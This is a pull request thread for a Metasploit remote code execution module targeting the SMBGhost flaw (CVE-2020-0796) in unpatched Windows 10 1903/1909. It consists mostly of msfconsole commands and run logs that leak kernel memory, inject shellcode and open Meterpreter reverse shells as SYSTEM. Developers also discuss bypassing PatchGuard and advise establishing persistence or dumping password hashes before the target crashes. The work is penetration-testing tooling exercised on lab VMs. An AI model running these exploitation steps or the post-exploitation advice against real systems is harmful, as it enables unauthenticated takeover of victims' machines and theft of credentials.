Add RCE Exploit For CVE-2020-0796 (SMBGhost)

[zeroSteiner]

This adds an exploit for CVE-2020-0796 which can be used to gain unauthenticated remote code execution against unpatched Windows 10 v1903 and v1909 systems. Metasploit currently has an LPE version of this exploit but no RCE. The exploit is heavily based on the chompie1337/SMBGhost_RCE_PoC PoC. I updated the HAL heap scanning (because it wasn't working on my system) and the kernel mode shellcode. The kernel shellcode was updated to be compatible with Metasm, which allows Metasploit to patch in some values at runtime. It was also updated to move the storage space to the end of the usermode payload which reduces the size by 154 bytes.

I've tested this successfully against Windows 10 v1903 and v1909 VMs. It's not 100% reliable, and when it fails it does occasionally cause a BSOD. The read primitive to dump physical memory can be slow and this module will reattempt it quite a few times to avoid losing progress as it extracts a bunch of information from the target system.

The check method, like all the scanners I found, simply verifies that SMB 3.1.1 is enabled with the LZNT1 compression algorithm. This results in a reliable detection of the service, but without running the exploit and triggering it, I was unable to determine with any higher degree of confidence whether or not the remote system is unpatched. When sending a corrupt from to both a vulnerable 1909 and fully patched/immune 20H2 system, they both simply terminate the connection. Triggering the vulnerability results in kernel-mode memory corruption, so probably not a good idea to attempt from a check method.

This bumps the ruby_smb gem to version 2.0.8 to pull in these required changes which fixes an issue with the CompressionTransformHeader definition and adds the LZNT1 compression algorithm.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/windows/smb/cve_2020_0796_smbghost
• Set the RHOST and PAYLOAD options
• Run the check method, see that the service is identified
• Run the exploit, see that the payload is executed (again, this may take a few minutes, enable VERBOSE to see that things are happening)

Demo

msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
RHOSTS => 192.168.159.76
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.159.76:445 - The service is running, but could not be validated.
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] Sending stage (200262 bytes) to 192.168.159.76
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > 

[zeroSteiner]

I updated this file so the build paths are still correct after being moved into the LPE subdirectory. The original exploit binary is unmodified, this just means you can still open Visual Studio, hit build and things will work as intended.

[bwatters-r7]

I'm unable to get this to work on wither a 1903 or 1909 (x64) Windows VM running on ESXi. I've run it a couple times, and it seems to always fail in this error.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set rhost 192.168.132.134
rhost => 192.168.132.134
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] 192.168.132.134:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.132.134:445 - The service is running, but could not be validated.
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000002000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000003000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000004000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000005000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000007000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000008000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000009000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000a000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000b000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000c000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000d000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000e000
[*] 192.168.132.134:445 - Reading from physical memory at index: 000000000000f000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000010000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000011000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000012000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000013000
[*] 192.168.132.134:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.132.134:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.132.134:445 - HAL heap found at 0xfffff79380000000
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ad000
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ad200
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ad400
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ad600
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ad800
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ada00
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001adc00
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001ade00
[*] 192.168.132.134:445 - Found PML4 self-reference entry at 0x01f2
[*] 192.168.132.134:445 - Reading from physical memory at index: 00000000001adf78
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000003600270
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000003603000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000003604000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000001e00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000003604008
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006a00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006c00
[*] 192.168.132.134:445 - Reading from physical memory at index: 0000000000006e00
[-] 192.168.132.134:445 - Exploit aborted due to failure: unknown: failed to leak the necessary hal addresses
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set rhost 192.168.132.168
rhost => 192.168.132.168
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] 192.168.132.168:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.132.168:445 - The service is running, but could not be validated.
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000002000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000003000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000004000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000005000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000007000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000008000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000009000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000a000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000b000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000c000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000d000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000e000
[*] 192.168.132.168:445 - Reading from physical memory at index: 000000000000f000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000010000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000011000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000012000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000013000
[*] 192.168.132.168:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.132.168:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.132.168:445 - HAL heap found at 0xfffff7f240000000
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ad000
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ad200
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ad400
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ad600
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ad800
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ada00
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001adc00
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001ade00
[*] 192.168.132.168:445 - Found PML4 self-reference entry at 0x01f6
[*] 192.168.132.168:445 - Reading from physical memory at index: 00000000001adf78
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000003600e48
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000003603000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000003604000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000001e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000003604008
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0000000000006e00
[-] 192.168.132.168:445 - Exploit aborted due to failure: unknown: failed to leak the necessary hal addresses
[*] Exploit completed, but no session was created.

I added the 'hal' part locally to make sure I was seeing the error message I thought I was.

[zeroSteiner]

Can you load a local kernel debugger and share the memory around hal!HalpInterruptController using dq hal!HalpInterruptController as well as the disassembly from u hal!HalpApicRequestInterrupt? It's likely that the fingerprinting routine I wrote isn't finding that table.

[bwatters-r7]

Here's the memory around hal!HalpInterruptController

The assembly is being less accommodating.

[bwatters-r7]

[zeroSteiner]

For the record, this is delayed as I work through an issue whereby a successfully exploited system may die with a BSOD from a 109 bugcheck triggered by Patch Guard approximately 0-80 minutes after the exploit runs.

[zeroSteiner]

Alright, I'm stuck on bypassing Kernel Patch Protection. I've restored all of the contents in KUSER_SHARED_DATA and the PTE settings by re-enabling NX. Windows however is still crashing.

I'm not entirely sure why Windows is still crashing. My best guess based on this Tetrane PatchGuard Analysis is that the APC which is queued as part of the kernel mode bootstrap is getting caught. This is mentioned in section III. C. on page 37. Of course I'm not sure this is what it is or if it's the only thing remaining that's getting caught and I won't be sure until I'm able to bypass it.

Next steps to attempt to bypass this protection seem significantly more complicated than my attempts so far. I think the best bet would be to use cat1357/ByePg. This project hooks the exception handling to prevent the BSOD from occurring despite PatchGuard triggering it. The problem is this is a driver written in C++ (presumably to be used by cheat/anit-cheat engines). To use this in the context of this exploit it'd need to be converted into position-independent shellcode or combined with a reflective loader (like Professor-plum/Reflective-Driver-Loader.

That's a lot of work, which bothers me less than the degree to which I'm uncertain it would even yield the desired results. If it did work though, it ould be reused pending any Windows version-specific caveats which I am currently unaware of but likely exist.

I'm leaning towards bumping the reliability down to low or manual and documenting that the exploit has a decent chance of BSODing the system even after successfully opening a session and that the recommended course of action is to use the time to setup persistence somehow and force a reboot. Those steps I think should be left up to the user so Metasploit isn't overfitting a solution that would write a payload to disk when it's possible that it's only necessary to dump hashes / passwords and log back in later.

[bwatters-r7]

Windows 10x64 1909

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] 192.168.132.168:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.132.168:445 - The service is running, but could not be validated.
[-] 192.168.132.168:445 - Exploit aborted due to failure: bad-config: 

Are you SURE you want to execute this module? There is a high probability that even when the exploit is
successful the remote target will crash within about 90 minutes.

Disable the DefangedMode option to proceed.

[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set defangedmode false 
defangedmode => false
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] 192.168.132.168:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.132.168:445 - The service is running, but could not be validated.
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013000
[*] 192.168.132.168:445 - Found low stub at physical address 0x0000000000013000, virtual address 0xfffff7e2c000f000
[*] 192.168.132.168:445 - Found PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.132.168:445 - Found HAL heap at 0xfffff7e2c0000000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad800
[*] 192.168.132.168:445 - Found PML4 self-reference entry at 0x0127
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001adf78
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003800c58
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003803000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000001e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804008
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000006e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804010
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000004e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804018
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000005e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804020
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000007e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804028
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000008e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804030
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000009e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804038
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000a000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000a200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000a400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000a600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000a800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000aa00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ac00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ae00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804040
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000b000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000b200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000b400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000b600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000b800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ba00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000bc00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000be00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804048
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000c000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000c200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000c400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000c600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000c800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ca00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000cc00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ce00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804050
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000d000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000d200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000d400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000d600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000d800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000da00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000dc00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000de00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804058
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000e000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000e200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000e400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000e600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000e800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ea00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ec00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000ee00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804060
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000011e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804068
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000f000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000f200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000f400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000f600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000f800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000fa00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000fc00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x000000000000fe00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804070
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000010e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804078
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000013e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804080
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012600
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012800
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012a00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012c00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000012e00
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003804088
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000019000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000019200
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000000019400
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000000194e8
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001adf80
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003908060
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003909d10
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000001d5ebb0
[*] 192.168.132.168:445 - Found hal!HalpInterruptController at 0xfffff7e2c0011470
[*] 192.168.132.168:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8033455ebb0
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x00000000001ad938
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003800000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003801000
[*] 192.168.132.168:445 - Reading from physical memory at index: 0x0000000003802000
[*] 192.168.132.168:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] 192.168.132.168:445 - Transferring 1274 bytes of shellcode...
[*] 192.168.132.168:445 - Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...
[*] Sending stage (200262 bytes) to 192.168.132.168
[*] Meterpreter session 1 opened (192.168.135.197:4444 -> 192.168.132.168:49675) at 2021-05-20 16:42:22 -0500
[*] 192.168.132.168:445 - Restoring the KUSER_SHARED_DATA PTE NX bit...
[*] 192.168.132.168:445 - Cleaning up the contents of KUSER_SHARED_DATA...

meterpreter > sysinfo
Computer        : DESKTOP-EHIBEQF
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

[bwatters-r7]

Windows 10x64 1903

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] 192.168.132.134:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.132.134:445 - The service is running, but could not be validated.
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000013000
[*] 192.168.132.134:445 - Found low stub at physical address 0x0000000000013000, virtual address 0xfffff7980000f000
[*] 192.168.132.134:445 - Found PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.132.134:445 - Found HAL heap at 0xfffff79800000000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001ad800
[*] 192.168.132.134:445 - Found PML4 self-reference entry at 0x0112
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x00000000001adf78
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003800300
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003803000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000003804000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001000
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001200
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001400
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001600
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001800
[*] 192.168.132.134:445 - Reading from physical memory at index: 0x0000000000001a00
